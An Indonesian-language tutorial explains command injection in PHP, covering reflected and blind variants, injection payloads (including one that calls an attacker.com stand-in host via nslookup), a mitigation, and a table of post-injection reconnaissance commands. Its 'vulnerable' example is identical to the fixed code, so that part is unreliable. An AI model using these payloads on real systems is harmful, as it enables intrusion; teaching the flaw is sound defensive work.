🔧 Command Injection
Command Injection adalah kerentanan yang terjadi ketika aplikasi mengeksekusi perintah sistem dengan menggunakan input user tanpa validasi yang memadai. Hal ini memungkinkan penyerang untuk menyisipkan dan mengeksekusi perintah OS berbahaya seperti ls
, cat
, atau bahkan reverse shell.
💻 Contoh Kode PHP + Penjelasan
1 <?php 2 $filename = basename($_GET['file']); 3 system("ls " . escapeshellarg($filename)); 4 ?>
🔎 Penjelasan:
- Penyerang juga bisa menggunakan command injection untuk mencuri data, membuka reverse shell, atau melakukan pivoting ke sistem internal.
- Kerentanan ini umumnya ditemukan di fungsi PHP seperti system()
, exec()
, popen()
, dan shell_exec()
.
- Command injection berbeda dengan code injection karena menargetkan perintah OS, bukan kode aplikasi.
💡 Jenis Command Injection
Secara umum, terdapat dua jenis utama dari command injection:
- Reflected Command Injection: Output dari perintah yang dieksekusi langsung terlihat di browser. Mudah dieksploitasi karena hasilnya langsung dapat diverifikasi.
- Blind Command Injection: Output tidak ditampilkan ke pengguna. Penyerang harus menggunakan metode tidak langsung untuk memverifikasi keberhasilan serangan, seperti
ping
,sleep
, atau permintaan DNS keluar.
🔁 Reflected Command Injection
Penjelasan: Jenis injeksi ini akan langsung menampilkan hasil dari perintah yang disisipkan ke halaman web. Artinya, penyerang bisa langsung melihat apakah serangannya berhasil.
1 ?file=; whoami 2 ?file=; ls -la
🔎 Penjelasan: Hasil dari perintah seperti whoami
atau ls
akan langsung muncul di halaman, sehingga penyerang bisa langsung tahu apakah injeksinya berhasil.
🕶️ Blind Command Injection
Penjelasan: Output tidak langsung terlihat oleh pengguna. Penyerang mengandalkan efek samping seperti delay atau permintaan keluar untuk memastikan apakah perintah berhasil dijalankan.
1 ?file=; sleep 5 2 ?file=; ping -c 3 127.0.0.1 3 ?file=; nslookup attacker.com
🔎 Penjelasan: Perintah seperti sleep
, ping
, atau nslookup
membuat server berhenti sejenak atau menghubungi server lain. Cara ini digunakan untuk mengetahui apakah perintah berhasil dijalankan, meskipun hasilnya tidak ditampilkan langsung di layar.
🧐 Cara menanggulanginya
1 <?php 2 $filename = basename($_GET['file']); 3 system("ls " . escapeshellarg($filename)); 4 ?>
🔎 Penjelasan:
- basename()
mencegah path traversal
- escapeshellarg()
membungkus input dengan benar agar karakter berbahaya tidak bisa dieksekusi.
🧰 Perintah Penting Setelah Injeksi
Setelah berhasil menemukan celah command injection, perintah berikut dapat digunakan untuk mengenali lingkungan sistem:
Tujuan | Linux | Windows |
---|---|---|
Nama pengguna saat ini | whoami |
whoami |
Sistem operasi | uname -a |
ver |
Konfigurasi jaringan | ifconfig |
ipconfig /all |
Koneksi jaringan | netstat -an |
netstat -an |
Proses yang berjalan | ps -ef |
tasklist |